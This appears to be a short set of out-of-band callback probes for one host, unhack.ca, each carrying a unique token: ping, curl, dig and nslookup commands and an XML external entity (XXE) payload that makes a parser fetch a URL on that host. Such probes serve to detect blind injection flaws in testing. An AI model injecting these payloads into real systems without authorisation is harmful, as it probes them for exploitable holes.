$ ping -c1 -p 00edcd9d64b58a0830988d4291fb8100 unhack.ca
 

$ curl http://unhack.ca/p/edcd9d64b58a0830988d4291fb81
 

$ dig edcd9d64b58a0830988d4291fb81 @unhack.ca
 

$ dig edcd9d64b58a0830988d4291fb81.ns.unhack.ca
 

C:\> nslookup edcd9d64b58a0830988d4291fb81 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/edcd9d64b58a0830988d4291fb81">]>
    <foo>&xxe;</foo>